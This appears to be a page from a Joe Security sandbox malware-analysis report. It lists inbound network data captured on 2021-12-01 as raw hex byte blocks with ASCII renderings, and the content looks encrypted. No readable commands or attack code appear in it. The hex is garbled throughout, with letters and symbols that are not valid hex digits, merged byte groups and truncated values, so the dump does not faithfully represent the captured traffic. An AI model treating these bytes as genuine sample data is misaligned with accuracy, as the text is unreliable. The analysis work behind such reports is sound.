17 58 5f 9 2d 10 d8 d9 da 32 0d e0 al c7 1f Od 2f fa da 4d 8d 8f 2f 16 c1 94 62 71 b5 f1 4b 53 aa 26 bl €9 b5 el 79 4e 26
7 9f 33 04 76 5f ca 8 6e 38 9b ce 79 91 63 ¢4 d6 c2 33 60 ee 8b 96 58 09 c9 27 87 1d 04 ba dc Oe 2d 84 fa el 70 67 4d
b6 03 1a f4 08 72 Of 9b da 87 7f 5e 40 3a 4a 5b fd 61 58 b3 5e 23 cc 84 9 4e 88 de 92 6b 4b f9 fe 18 fa ab 26 99 d8 6f 67
54 ab 99 34 3a 1b 6f 35 23 66 b7 40 cd 33 af 7b 1c 32 Oc 2b f4 66 23 8d eb a3 ¢8 f7 d0 d3 88 9 f8 4d 65 4f 7c Oa e7 34 19
8397 8¢ dd 43 21 37 ¢4 60 03 81 23 db 78 a9 e8 15 02 6e 02 b5 99 e 46 ab ca 9e Oc 04 71 06 f9 56 e3 2d 94 8b 04 aa ff
62 4e 08 17 9d 2e c0 al a2 37 43 77 da 29 97
Data Ascii: R l]a"a"z:[UX_-2/M/bgKS&yN&3v_n8yc3 X'-pgMr*@:J[aX #NKkK&ogT4:05#@3{2+f#MeO|4C! 7 #xnFqV-
bN.7Cw)

2021-12-01 12:26:35 UTC 61 IN Data Raw: b0 76 2f 6a ca 32 36 ab c2 84 58 17 a2 aa 6f ea 99 b5 2b a3 d7 87 af 55 9f 1c 5a 94 d1 7a 5f 01 27 b2 7d e7 e6
d6 55 f2 bb 64 77 24 95 3d c1 a9 f1 22 86 ae cd 49 3d 1b 19 c5 Oc da 64 97 fb 81 66 70 71 48 43 c8 7b be 6c¢ ff 96 55 95
cc cd 86 ec cb 82 Oe e4 a4 4b 51 9a 52 38 01 al 64 57 60 55 6e d4 bb fe 75 09 a4 a8 db 07 a0 bf 90 23 55 36 14 d1 8b d7
89 50 b6 el ca 0d 99 1e 6f 02 b0 c8 a3 f5 Ob cc 19 3b 25 f1 df ce a2 ae c2 88 b4 fa 8c fa ch d8 db 2d b0 a8 d2 f8 fO 1c e8
4a 60 da e0 d5 84 16 4f 28 03 Oc 1b 02 66 60 67 b7 4f 81 4f f1 03 85 c1 e3 f2 a2 12 50 bb 57 3b 26 b7 81 38 19 b3 ec 2¢
16 4c 76 d3 40 b3 95 83 5 3f b6 c0 58 09 55 53 ce 03 af d7 36 3a 71 2c fd 23 €3 13 a4 d8 09 41 aa 0d a5 ba eb 73 7b 5e
39 c9 7e 70 b8 f9 46 a9 ea fb f4 24 5b eb a6 Of f1
Data Ascii: v/j26X0+UZz_"Udw$="1=dfpgHC{IUKQR8dAW" Unu#U6P0;%-J O(f gOOPW;&8,Lv@?XUS6:q,#As{"9~pF$[

2021-12-01 12:26:35 UTC 63 IN Data Raw: 60 ee 81 1c b7 0f c4 00 74 33 06 ba 46 09 02 b7 da 73 7a 71 b3 2b 4d 31 ed 03 0f 4e 2d dd 98 76 6f e5 12 64
59 61 76 49 84 7a 03 75 8e ef 60 54 bc b7 76 40 df Ob 10 eb a3 92 df dd 70 6d 24 d0 07 25 3b 15 6a 3b 5f 95 82 45 d2 3b
9e e6 0d 36 24 b5 e4 61 3a ed d2 dd 54 e0 c6 c4 b0 ac 60 5c 64 3f 47 1e 7b 23 19 8d 8d f5 56 53 26 22 09 23 ec b2 26 c4
6aac 7d 15 0c 59 40 al 05 89 2e 9c de be f5 15 78 17 62 28 c0 30 83 9b 89 b2 €9 78 7e 1c 8a 8c 2f b0 9e 80 b7 45 66 d3
9d c5 3b e9 7d b4 85 4a b3 f0 al 71 1d 02 9e Oc 99 bb df a6 fc 7b e5 2a 78 4d ea 24 f1 5 49 0Of a6 05 63 26 9b 52 02 dc c6
19 84 a3 19 cc 74 b0 1c 8c f4 98 9f 56 50 31 50 63 2a d7 f7 02 c1 9f dc d7 b7 e5 2b 32 66 7d 47 53 6a 55 b7 3e 26 2b Oe
7e 71 00 al e9 2b ef ce 40 50 69 6e ce 2e 5e 1c 37 f4
Data Ascii: "t3Fszgq+M1N-vodYavizu Tv@pm$%;j;_E;6$a:T \d?G{#VS&"#&j}Y @ .xb(0x~/Ef;}Jq{*xM$Ic&RtVP1Pc*+
2f}GSjU>&+~q+@Pin.A7
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kBytes
Timestamp transferred

2021-12-01 12:26:35 UTC 64

2021-12-01 12:26:35 UTC 65

2021-12-01 12:26:35 UTC 66

2021-12-01 12:26:35 UTC 67

2021-12-01 12:26:35 UTC 68

2021-12-01 12:26:35 UTC 70

2021-12-01 12:26:35 UTC 71

2021-12-01 12:26:35 UTC 72

2021-12-01 12:26:35 UTC 74

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: dd d5 9c 6d f5 ca 5b 76 c4 0a dO 8c 90 25 30 95 1a a2 3b 75 98 43 a2 b7 ce 0d 99 1e 99 59 b2 e2 ac b0 bb cd
5805 87 e0 c6 c2 aa bd 16 9e a7 ea 69 24 ¢9 d8 79 3d al b9 d7 62 fd 15 cb 86 62 db e0 dc eb a7 1c 28 09 1f 8f 15 75 72
86 07 4d 81 5a €0 10 94 c9 79 el a7 08 71 bc 38 7c 27 b7 8b af 1c c0 9c 3b 05 40 5d 1f 51 b6 bd d9 e0 39 ac 51 eb 24 50
7281 e0 bd c7 c8 2a 66 36 dc 86 e6 3f aa be ac 96 a7 18 bb 57 ec 65 94 59 30 32 57 00 b5 d1 6e c4 58 fc ff 37 5¢ 13 a7
0809 64 63 39 c2 50 f9 16 bb fb 1d 94 14 5f a5 43 62 fO 2e c4 a5 41 2a 3a 73 ¢4 c1 2f c4 7d ed b5 1b 68 fd 21 60 46 d4 48
18 d6 db c1 60 e3 4d 5f 67 60 23 a9 43 41 d6 8a 80 c1 07 f5 16 ee 6f c1 5f Oe 9c 73 26 f0 22 fe d1 2e 33 ¢5 30 60 78 ee
b1 Oa c5 3f 41 08 0a 56 56 28 38 cd 30 1d 9c 41 c1 57

Data Ascii: m[v%0;uCY Xi$y=bb(urMZyq8|'; @]Q9Q$Pr*f6?WeY02WnX7\dcOP_Cb.A*:s/th!"FH'M_g #CAo_s&".30 x?A
VV(80AW

Data Raw: 33 52 01 69 85 08 a3 b4 f5 c3 cc 96 2a c0 26 6e b0 2b f0 67 ab e5 15 01 4f 44 bd 03 b0 40 87 c8 98 22 31 78
17 f4 9b d6 25 83 5b 06 a9 ff 6d 77 14 27 7c 20 21 30 b6 06 72 70 c0 Oa dd b2 41 76 a6 97 ec a3 35 a9 78 92 1f b2 Oc 94
a9 52 bb 3 75 f3 90 dO 27 ee 24 6b cc 6a 10 b8 2f 41 37 90 45 48 de ca 17 97 a2 53 ce 7f be 30 bd 14 a9 44 25 23 21 57
7618 c8 7a 17 d5 al e8 d2 Ob cc 9e 28 45 6b ca 63 7c 6a 09 0d b3 3a 1b 67 fa 08 d5 06 0f f9 58 42 46 67 59 fa 86 df 1e
37 6e 9a 3e 37 95 7b 09 1a 2d ac c6 64 e2 4e 4b 3a d1 ba b3 81 fc 5e 6b 79 81 79 50 0f 5a 79 08 68 93 0d Of bf 8c 4b ea
84 1a 4f f4 97 Of c4 75 4d 9f 61 ff db e8 21 7f 8c 28 00 de ae 97 7b 9f d3 9c d0 b0 6d 4b 15 f5 09 91 f2 42 7b f1 02 70 Ob dd
20 dd 42 6d Of dc €9 a0 ad 13 c5 fb 2a e7 28 57 a0

Data Ascii: 3Ri*&n+gOD@"1x%[mw'| !0rpAv5xRu'$kj/A7EHS0D%#!Wvz(Ekc|j:gXBFgY7n>7{-dNK:" kyyPZyhKOuMa!({
mKB{p Bm*(W

Data Raw: 98 76 5f d1 ed 74 20 4b f5 40 82 77 d4 3 bb Oc 76 f6 57 93 b1 23 91 31 bf 20 21 ab fd 09 22 ¢5 dd e3 7a 77 a2
b9 4b bb f4 1c 7e d3 2f f8 96 5d 59 57 05 e8 66 fd 67 4f 39 61 01 d8 a6 44 60 c8 a7 98 33 4b ff e7 38 01 a2 Oe c4 f2 bb 60
3b 89 b3 10 3c 0a 6d 4b 0d Ob 93 44 dc 22 a9 a5 le 21 35 27 e2 eb 22 e2 cd a0 db d7 dO fd b6 ab eb c1 5¢ 20 56 09 45
233886 b7 48 ca 42 2b 22 3a b9 4f a3 21 da 68 92 4c 04 Ob 4c 79 98 88 96 3e Oe cf 9e Oa 14 6b 34 ef 1a d1 3e 83 01 2a
a3 ee 66 c4 1b 3589 00 04 87 a0 3d 5a 19 5f 3e d4 3c 7 71 8a eb 5a b4 e5 80 3b 7e ec 66 04 96 be 52 a0 e8 72 c0 8f fa
4d ea 35 62 cc 00 14 b8 23 8¢ 3f 9a 52 94 €0 d0 17 94 9d d5 d9 73 a9 53 b5 0a 98 95 6f 08 20 57 7c 1la d7 74 1a 10 93 e6
d0 3f e2 1f 7c 54 7d c3 94 7e 52 b8 57 b7 3b 1d 59 fc

Data Ascii: v_t K@wWvW#1 !"zwK~/]YWfgO9aD 3K8";<mKD"!5"\ VE#8HB+":0!hLLy>k4>*f5=Z_><qZ;~fRrM5b#?RsSo W|t?
|IT}RW;Y

Data Raw: 6e 04 37 6c 54 a6 af 65 49 2a 1a 66 7b 5d 65 40 73 cd Ob c2 83 78 ec 46 Oa 2b 06 3f 87 f9 48 f3 96 9d 31 d7 88
49 be de fb 83 2e 03 6b 13 a7 f1 a7 f4 13 dd 5d le 28 e6 05 c7 b3 a3 93 80 a5 {7 46 20 5f b9 e7 3d bd bf 11 eb fd 0d ff 5b
71 ea 02 c4 81 98 aa 3f d9 1b 4a 8e 59 60 be b7 5c 87 4c e0 06 Ob 6c¢ fb 28 b0 13 73 b6 7c 9e 37 b2 90 b2 8d a2 f9 2b Ob
de 94 0f 6f ab 84 85 f5 37 bb 3b 48 2b ¢4 58 6a le bc d1 e0 3a 73 22 fa 49 38 al 87 c1 0f 91 b6 1c be ac fc 7d fe 49 25 26
71 c8 6b 4f 6e ba ec ec f1 a9 60 07 a7 1e fd 4d d7 29 ¢7 72 8¢ 36 bb fd 78 2c 04 51 b8 81 8f ff 29 34 b5 33 Oa 97 85 95 e0
07 5 12 5f be 08 6d c1 e7 61 50 20 97 78 8f c8 d7 23 ff 4d 2c 45 62 23 af 56 4b cc 07 85 ¢3 07 f4 13 f6 7e db 46 26 c7 77
3c f6 80 ee d0 09 18 99 18 60 7e 4c ba 10

Data Ascii: n7ITel*f{le@sxF+?H1L.K](F _=[q?JY \LI(s|7+07;H+X]:s"I8}%&qkOn M)réx,Q)43_maP x#M,Eb#VK~F&w<"~L

Data Raw: 38 3 77 2d 8d ef a0 c8 fb d2 df d3 9c fd 4d 69 33 5f 19 ee 25 71 bb 9e e3 c0 53 28 2a 75 1f 71 a3 2b c4 66 37
ca 04 0b 47 46 bd 87 15 02 83 ¢8 9f 19 10 71 06 f4 30 49 98 bc ad 14 a3 e4 76 62 1c 07 97 21 21 30 be 1f 56 67 d3 Ob c5
38 e8 76 a7 0f 45 9c fc bb 67 8b 02 90 02 8f c2 64 b6 fb 6e 9 03 e9 48 85 Oc 6¢ e4 44 01 bl 4a c8 27 9b 58 95 ca c2 10
98 3b 32 b2 5f ae 3c a6 18 9f b7 43 cd 20 5d 6d Oc ae 73 12 c6 8a f2 ¢9 21 2a 39 08 6d 5¢ db 42 67 59 98 36 88 29 Oe 78
e7 39 9e f6 Oe f3 8¢ 51 51 5c 48 ee ef 42 1c 37 68 8¢ b3 30 95 7b 08 Oe Oe b9 ee c7 d5 4f 41 12 9e ba b3 8b 6a 61 6b 78
9b 5a 44 1e 29 6e 84 57 03 0d Oe 86 4f 2a eb 8e 38 18 fd 8 f0 d2 a3 ca a7 67 fd f2 9d 2e 69 95 36 13 dc bb ae 50 8b c2 9f
4d 08 14 ae 00 86 21 98 f5 53 b2 f6 ¢5 ec 40 f5 4b

Data Ascii: 8w-Mi3_%qS(*uq+f7GFq0Ivb!!'0Vg8vEgdnHIDJ'X;2_<C Jms!*9m\BgY6)x9QQ\HB7h0{OAjakxZD)nWO*8g.i
6PMIS@K

Data Raw: f1 09 8f a8 18 f3 a3 0Ob 6¢ b0 7f bl 22 b7 87 94 67 b7 fd 3c 2d dd 4d 19 46 c0 69 82 e4 33 c¢5 ¢3 58 25 5a 70 bd
61 b8 d1 30 03 f7 37 f4 db ca a8 af d1 18 e4 5b 13 af a3 82 8e 6b 58 2b 3f 57 21 b5 d1 6e 83 6b f9 ff 3b 60 7a a5 le f1 16
ff 29 ¢7 72 cb ef ba fd 78 2e 3d 20 ab 57 9a d9 ba 3e a4 27 13 a8 58 9a c3 5¢ 3e 13 5f be 74 9f e8 df 6b 58 02 ca 7c 89 e4
ff €6 e7 4d 2a 6d 5 20 af 56 38 30 06 95 cb 68 09 04 f4 74 d3 61 a5 c¢3 77 20 de 04 eb cb 3f 33 1c 30 60 78 3f 5¢ 11 dd 1d
73 f1 0b 50 fe 31 0a 52 1c 43 9e 69 43 f1 54 e7 Oa 23 25 e3 43 48 7a f6 90 d1 33 69 ce a0 e7 26 5f 16 78 db 26 31 a5 8d
14 b1 7f 52 9d ae 99 88 50 d8 b8 80 ea 9f 95 ad ff 38 bd 4d 99 Ob 9f 31 d9 3c 60 db 18 13 6a 6b fc 2b 38 56 25 db 34 2f c6
b2 ¢3 76 25 c8 fb d0 3c a4 11 2f 1c a4 37

Data Ascii: I"g<-MFi3X%Zpa07[kX+?W!nk; z)rx.= W>'X\>_tkX|M*m V80htaw ?30 x?\sP1RCiCT#%CHz3i& x&1RP8M
1<"jk+8V%4/N%</7

Data Raw: c6 54 06 b2 15 22 47 e4 4e 11 a8 25 €3 26 9b 67 9f 03 c2 04 97 af 85 dd 72 bc Oc aa Ob b7 9d 56 cc b6 57 7c
lad7 78 1b fe 95 fc c1 2b f4 3d 25 5a 66 25 43 41 46 8d 93 8d 2b Oe 7f fe 15 b9 8 1d f1 52 40 5f 61 b6 ef 82 5d 04 24 60
8c a2 38 8d 85 09 22 32 a6 63 ec e2 4e 40 01 8c a3 a0 83 70 70 63 64 7e 6b 6e 17 59 69 9e 48 b0 91 10 84 34 4b fb 86
2d 1f 0a 96 29 da b2 c7 a9 7c 63 ¢5 f0 3c 61 9f 34 1e d2 a9 41 54 b1 d8 92 d4 d0 51 59 01 8c 34 86 el 4c 68 fO 1b 7e 10
0Ob 4a f5 1a 7a 12 40 e8 a9 bc 14 47 ce 64 d8 5c¢ 4f bf e3 70 18 73 af 1b 2a a6 97 bb 6a ee 70 ad 4d 8f b3 d4 b6 el 22 38
cc 5d 5e cd fb 80 c9 Oe a3 f8 69 8d 96 98 38 a5 40 89 82 0d €9 59 38 9d c6 6d c3 36 2e €9 66 82 €9 f5 46 f4 2c 42 e6 29
fa 2a 9f b4 98 9¢c 27 17 fa 6e 2e 13 13 c¢7 Oa b6 ce 69 fa

Data Ascii: T"GN%&grVW|x+=%Z{%CAF+R@_a]$'8"2cN@ppcd~knYiH4K-)|c<a4ATQY4Lh~Jz@Gd\Ops*jpM"8]
N8@Y8m6.fF,B)*'n.i

Data Raw: 20 3b 39 76 9d c3 22 1f 6f 5e b4 1b 74 f8 db Oe d8 2b 49 7e 9e 38 c4 6d fO 48 14 09 63 23 af 41 4f dd 02 83 ae
8e f5 05 f2 6d dd 61 61 c6 77 2c e7 84 fe ce 2e 74 10 35 60 78 23 38 10 dd 1d Of Ob 02 78 ea 3a 22 d2 09 45 b0 66 c7 5
5e c9 0d a4 21 e9 7c c7 86 f7 90 ca 5b bc ¢8 a0 ed 05 64 96 6d d3 19 5 2c 89 14 a6 5f d1 b6 36 9b fb aa cf 35 8d 85 62
95 b9 el 3a 9d 81 67 0a 95 2f €6 3¢ 70 ¢9 0d 01 df 4b fd 2b 39 3c ce ce 1c 86 ce a3 cd 31 b9 ca fb d0 56 al 3b 21 17 cb
81 76 7e 8c 6e 5¢c 7h 34 0a 9f ed a3 6a 56 ab 27 f6 81 0f 8c 5e fc cO fb 61 3d b5 3c 54 93 65 d4 4d ed 1d 60 ef 95 94 b2
20 7b 20 af 39 2e 26 da 18 0f b9 f1 fO 72 65 9b 2f 58 36 f5 0a f3 d5 3c da 86 6b 5b 52 3a c7 59 fd 6d 5a b3 a6 20 cc 88 f9
ed cf ad b0 68 5f eb f9 38 48 a3 Oe c4 f2 f3 61 3b

Data Ascii: ;9v"o t+|~8mHc#AOmaaw,.t5 x#8x:"Ef*!|[dm,_65b:g/<pK+9<1V;lv~n\{4jV"*a=<TeM" { 9.&re/X6<k[R:YmZ h_
8Ha;

Data Raw: fd 7a 77 9f 7e 5d 7c d4 7f 8a 48 86 12 36 Ob 2d 45 f5 98 12 c0 f4 97 05 4f b2 ce ab 76 df 21 fb 2f 69 03 34 18

d2 a5 9f 8e 9d d3 9a 5f ae 75 47 18 99 4f Of e3 4a 77 fb 33 ¢7 1f f5 4b 45 53 65 09 4a f1 eb 31 03 d8 c6 27 e5 ed 46 ae e5
7d 11 22 ab 64 55 f5 1a ac f5 eb 31 af b3 fe b4 da af 6f 6f fb ca 31 33 db fa Ob 73 11 b3 a6 6d e0 e7 9f 3f 83 49 96 a2 52 6¢
2b 56 83 c8 64 ce 38 60 ae 62 89 15 ed 59 eb 9d ac 66 29 fa b6 d1 a7 el e3 e4 17 f4 70 26 04 50 4a 13 a7 c2 88 b7 17 7a
56 54 57 04 5e b4 89 63 ce 78 83 86 dd 40 86 f3 c6 05 99 32 7c b5 ae f9 52 30 09 7d 68 5f ed 42 71 db 8e 55 09 f6 5b 76
52 3386 97 9¢c 03 ab 25 1b a2 ad c6 87 45 b6 d6 99 91 88 1a ae Oe a9 ae 36 ce 05 d3 57 2f ce f1 df ce 3e bf 09 9b b1l fd
22 77 cad8 7f 3f b4 76 d3 dd d8 2b f2 4a 6a

Data Ascii: zw~]|H6-EOV!/i4_uGOJIwW3KESeJ1'F}'dUloo13sm?IRI+Vd8 bYf)p&PJIzVTWAcx@2|R0O}h_BqU[VR3%EEW/>"W?
v+]j
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 75 IN Data Raw: 71 db 29 Of d2 88 38 b5 40 c8 9e a7 83 05 ad f5 ba al 87 49 17 aa df 2e b5 39 57 03 9f ca cf e6 73 69 Ob 17 43
3f 47 2b 38 22 d1 ¢5 28 0d 75 a3 ¢7 13 2f cc d3 7b 43 a5 15 07 a8 cb 87 6f 04 8b 64 48 59 a1 07 O fc b7 e7 5b 86 2b df
37 1f 98 70 77 d8 f9 6b 23 9a cc 5e bb c0 c6 c0 ec 72 79 ec 81 8a b5 04 ce 33 a4 Ob 9a bb da 18 14 a6 eb ea e0 62 b7 a6
58 59 €9 1le 7e d8 2f d4 91 6¢ 42 7e 61 65 59 fd 76 40 8a 7d b9 df 88 fe 66 a7 21 b1l 69 41 d7 49 14 eb a5 26 70 da 6f 6b
28 86 8a 31 14 3b 67 24 2f 30 d4 43 cd 35 cd a4 Oc 36 2e 3a f2 77 22 f6 e5 dd ca f1 c7 cc 2d bd fc 4d 62 33 59 19 e8 24 0f
97 3d f2 ¢5 51 31 2c 0a 21 64 b4 ac f4 7e ba €0 17 1a 57 44 al 8e 04 38 92 df b6 ad 15 78 1d d8 28 d6 39 04 al Oa b2 fe
71 fc 22 07 9d 28 a5 57 b5 37 45 67 fb 15 d4 3c fc
Data Ascii: q)8@1.9WsiC?G+8"(u/{CodHY[+7pwk#"ry3bXY~/IB~aeYv@}f!iAl&pok(1;g$/0C56.:w"-Mb3Y$=Q1,!d~WD8x(9q"
(WT7Eg<

2021-12-01 12:26:35 UTC 76 IN Data Raw: 3c 44 db 3f 3e e4 ea 86 49 39 24 a7 7e e4 f4 85 3f 8b 43 97 a2 58 9f 22 59 94 dd 61 8c 25 46 81 7d el 83 d4 6f
f2 bd 68 b8 29 fc 00 c0 a8 eb fc 93 8b e5 7e 3d Oe 06 d6 Oe b3 de 97 fa 95 69 70 55 4a 43 c8 8f 94 4d ed 81 32 84 dd dc
34 fd d9 1d af d6 44 16 ac 65 43 3e 1f 68 7d af 70 7f 6a c0O ad 42 8e f6 5d 60 e6 Oc 88 88 9a 35 1f d1 1a a2 31 c8 82 57 bb
c0 ed 11 67 15 9d 15 b2 ca 96 da Ob ca 4e 27 Ob f1 df c4 b4 ee 76 8a b4 fa 4e e7 c6 d8 70 33 bf 56 c6 d4 f8 24 93 48 60
db ff c5 89 16 14 37 0a f2 9d 2f 7f b0 e2 b6 4f 80 72 e5 03 85 d1 8¢ ef al 01 6a bc 38 d2 24 b7 8b b0 06 b9 fO 3a Oc 55 55
e7 41 9f 9d bb d4 3b aa 3e 46 39 5d 78 9c 07 42 d0 1a 25 74 40 fc df e2 35 ¢3 d8 1c 97 ad 19 b5 a4 ed 7a 75 48 df 36 53
49 b5f9 51 ae eafb e9 1566 ed a6 14 el 25 44
Data Ascii: <D?>19$~?CX"Ya%F}oh)~=ipUJCM24DeC>h}pjB] 51WgN'vNp3V$H 7/0rj8$:UUA;>F9]xB%t@5zuH6S1Qf%D

2021-12-01 12:26:35 UTC 77 IN Data Raw: 81 a8 a6 08 d8 26 af 33 17 ac d1 33 le aa fd f6 84 70 9f b5 44 3d f3 1b 68 2c¢ 3d f6 85 68 44 46 15 7c a7 fc 4b
4c b0 72 08 2f 8¢ 94 09 c8 ad b4 43 69 fd ee 6d 82 a3 Oe ca f0 6f 61 3b 90 ab 36 3¢ 22 67 24 25 0f 93 42 dc 23 b5 58 16
36 23 3e Ob 67 09 €0 d5 aa c8 f6 d7 25 al 96 fe 5a 68 20 51 10 19 33 32 90 b4 el el al 23 46 70 35 70 a7 Ob f9 7c b9 9¢c
6e 0b 46 51 9d 99 98 29 90 8 9c Oa 3d 78 17 fe 3f c7 2f 85 9b 1e 88 f5 67 61 1d e8 9c 04 ad 9f ab 37 42 70 2d 00 8 3e el
6c a2 le 43 4a ee 96 65 aa 11 b2 f0 87 d6 28 b7 fb 60 d2 28 fa 4e 97 4f 6d e4 4a 3a b8 25 e3 35 ab 50 9e €5 c1 06 9b 10
85 dd 62 b9 37 87 10 98 98 41 32 21 7b 7e 13 ca 6b 14 d0 7e ff ed 29 e3 27 2d 42 73 25 43 41 48 b8 1c 8d c8 Oc 05 81 11
a6 f2 24 db 50 52 2a 1a 48 ee aa 74 1c 37 68 9f 83
Data Ascii: &33pD=h,=hDF|KLr/Cimoa;6<"g$%B#X6#>g%Zh Q32#Fp5p|nFQ)=x?/ga7Bp->ICJe( (NOmMJI:%5Pb7A2!{~k~)"-
Bs%CAHS$PR*Ht7h

2021-12-01 12:26:35 UTC 79 IN Data Raw: 85 66 bb f5 5b 05 ce 22 88 88 90 23 5f 27 33 b5 31 d7 83 59 96 ¢2 da 33 9c 14 b7 73 90 e0 aa d5 71 ce 2b 5e
241 d9 al el af 07 8e b6 f9 79 b8 ce d8 7f 43 98 aa c7 f2 9f 27 3 4a 66 d9 8f 97 85 16 1b 2b 2b 33 99 03 60 Of 96 b4 4f
8b 35 a2 02 85 dd el 9d el 00 60 be 54 e4 66 b2 81 ba 76 9b ff 3a 0f 25 1b 18 40 b5 97 ec a6 38 aa 38 5a 0d 11 7d 95 18
d3f9 34 2b 7d 5¢c a3 dc e2 39 86 cf 0d a7 a5 12 87 a9 ed 73 62 58 21 26 69 57 9a ca 68 ac fd 03 fe 11 4a f5 ad 1e f0 73 fd
29 eb 7a b3 19 bb fa 6a d8 14 73 ad 7c 9e da db 38 df 5a 3b 3f 5f b0 e7 2d c1 6f 24 b4 1b 66 c3 df 61 50 39 79 7a 89 ca
d7 62 e3 45 2c 45 73 35 a4 7b 50 cc 00 82 3f 06 d8 07 ec 75 db 4e 30 39 76 Oa f4 97 e4 cb 3e 03 67 35 4c 7c 67 a2 3b 3e
15 67 70 0a 50 fO 13 00 d6 1b 3e e4 41 c7 fl 7e el
Data Ascii: f[*#_'31Y3sq+"$yC'Jf++3 05 Tfv:%@88Z}4+}\9sbX!&iWhJs)zjs|8Z;?_-o$faP9yzbE,Es5{P?uN09v>g5
Llg:>gpP>A~

2021-12-01 12:26:35 UTC 80 IN Data Raw: 17 80 ae 18 8d 8d c¢3 4b 42 21 3d 86 33 6f b0 38 47 78 a5 f5 24 ec 46 55 b7 05 9e 36 96 e8 2c 0a 15 78 8b 8
26d1 3087 11 13 bc f9 47 ¢3 0a 16 9d b4 a9 98 b8 17 5 66 d3 01 48 3a €9 7e bd 60 c7 b2 fO a0 47 6f 13 99 13 19 ab 5¢
ac e4 2b 64 Oc e7 51 f5 2b f1 €2 51 0d a7 64 7f 20 84 4c 81 d8 5d 00 84 aa a5 30 73 af 3c 30 0d 87 bf 49 b7 bc 51 63 2a
de 7f 8f cO 9f dc el a7 f4 2c 2d d9 6d c4 61 4d af 93 1e a6 b7 08 61 c9 Oe ed 6a 08 6 77 4e 11 ea 4e f1 88 41 11 ab 6e 93
94 10 54 7b 08 Oe a5 be f1 ef c2 c0 41 12 8b 26 b5 94 59 41 95 79 80 6a de 18 57 44 a4 81 93 0d Oe Ob 3a 54 c1 ae d5 15
f4 97 99 d5 bc ec ab 46 63 dc e4 02 76 ea b9 10 d2 93 a3 c¢9 9b cc b5 e3 34 7b 58 01 1a 2d 8c c2 5b 21 7d 15 7e 2e e3 d7
df 5d 59 36 8d ee a0 ad 8e d0 c6 08 da 31 da a8 fa d5
Data Ascii: KB!=308Gx$FU6,x&0GfH:~"Go\+dQ+Qd L]0s<01Qc*,-maMajwNNANT{A&YAyjWD:TFcv4{X-[}~.]Y61

2021-12-01 12:26:35 UTC 81 IN Data Raw: f6 25 Ob b4 4f 35 50 a2 92 ab 5e 3d aa 38 36 0f 52 78 93 01 b3 c2 3d 2b 66 38 e8 23 €3 13 bd c0 1b bf 12 16 af

af c5 07 6a 58 2b 24 79 41 a2 da 68 ba el e2 f0 c3 49 c1 aa 17 e6 62 6¢ 3f c6 78 ae 0d ab ee 79 26 04 54 b5 a9 9d dd 32
49 86 23 3b 39 48 9d de 3c c9 12 4e bf 03 9c e8 f3 6b 52 02 dc 78 89 e8 db 7b f0 46 2c 54 69 3e 51 51 67 ca 01 86 c8 19
e7 Oe f4 6f dO 5f d8 c6 5b 25 el 93 e4 cb 28 10 86 26 9e 7f 60 a2 3b d8 2f 3b f2 f5 af fd 13 22 c7 28 46 98 08 c7 f5 54 4a
22 a4 30 f5 49 10 b7 7 98 cc a2 95 e3 a2 f5 22 77 96 64 25 21 35 23 8b 6a 11 57 ¢5 9a b8 b7 69 ad d9 b2 81 9c 6e 94 a5
€3 d0 b4 Oe 65 1d 93 3b c6 ff 8d c8 27 15 79 4e d6 e6 10 bf da da 3e 22 d4 a4 49 ae 3f 10 94 cc 46 a5 19 05 16 cb 87 76
47 98 66 bd 53 ac Oe 33 eb b5 f6 47 a6 Oc b4 95 12

Data Ascii: %05P"=86Rx=+f8#jX+$yAhIbl?xy&T2I#;9H<NKRx{F, Ti>QQgo_[%(&;/;"(FTJ"0I"wd%!5#Wine;'yN>"1?FvGfS3G

2021-12-01 12:26:35 UTC 82 IN Data Raw: 67 3c 4b c6 85 7f a3 ¢3 59 76 c4 28 91 9b 94 23 4e 21 0d 5¢ 30 fb 8a 4d a8 cd f2 1c 9d Of 4f 01 9a e0 81 dd 20
47 51 25 25 ea ef cd a2 45 05 88 b4 55 51 fa da da 07 bf b0 a8 cd ee d8 32 2 4a 6a cd ce f5 87 68 8e 28 03 06 8a 2b 48
60 be bc 59 b2 58 da Oc 81 a5 70 f2 a3 Ob 76 90 79 cc 26 bd 97 8f 12 9b d3 38 05 4c 44 c4 ef bl 95 83 e7 2a ad 4d e5 25
50 72 9e Of bb c2 27 3d 64 23 5 cc 8d f6 ac d1 14 84 b5 39 b1 b8 fc 62 7a 37 c0 36 7f 56 a2 da 6f b9 el d5 c9 3f 48 e7 c9
d2 f7 65 09 39 d7 6f 72 01 ab ec 62 37 07 6d 73 24 20 f1 38 30 a9 37 3c 50 6¢ 98 c5 25 d5 ¢8 4c a7 08 6e d1 30 61 50 2a
4e 69 85 8d €3 60 e3 47 04 f8 66 23 a9 46 63 €2 07 95 cb 11 c7 Oe fd 56 65 4d 26 c1 18 ea f6 80 e5 cc 28 17 f6 00 62 7e
46 88 af d9 17 1la 1a 22 7e f4 39 28 c2 2b 48 91 69
Data Ascii: g<KYV(#NNOMO GQ%%EUQ2Jjh(+H"YXpvy&8LD*M%Pr'=d#9bz76Vo?He9orb7ms$ 807<PI%Ln0aP
*Ni' Gf#FcVeM&(b~F"~9(+Hi

2021-12-01 12:26:35 UTC 83 IN Data Raw: 36 a5 20 56 Oc €0 a3 3e 12 9f e3 ca 1d 01 bd 1a 35 70 98 42 db 7e ba e6 2e 17 4b 55 be 81 66 28 af c5 9d 08
6e be 17 fe 3d 49 98 a5 84 Oc ae ee 6e 7c f4 17 bl 31 ac 84 be el 49 6d f8 41 d3 3e 8d al a2 19 5f 3a 58 ad bd b0 a7 8f
39 9e a0 43 be e2 9a f9 26 fc 5b cO 3e 60 e4 47 07 46 24 cf 24 83 5f 9e c4 d7 f8 9a 99 87 ca 7e af 35 b0 f5 99 b3 54 7 25
6f 02 f4 3e 94 14 d1 56 5 c6 23 c5 90 2e 5b bd f1 42 6d 4a 80 2e a0 2b be 7f ed 11 15 f6 Oe €8 44 42 5e 4e aa ee ae 5e
1c 26 61 96 4d 31 b9 76 Oc 0d e3 34 d1 c7 e2 4f 52 16 90 a9 ba 8b 61 68 75 87 81 46 72 0Of 4c 79 08 68 93 0d 0Of 81 14 ba
eb 8e 38 2c 43 97 05 d3 b2 c5 a2 63 84 1c fb 2f 6d 9c b4 09 b2 e2 Ob c9 8c d6 8c eb 83 7a 58 Ob ac 34 9a el 4d 68 f0 1a
7ael f4 67 dc 54 61 0a 42 e7 a0 bc 1b ca 27 3a e9 12

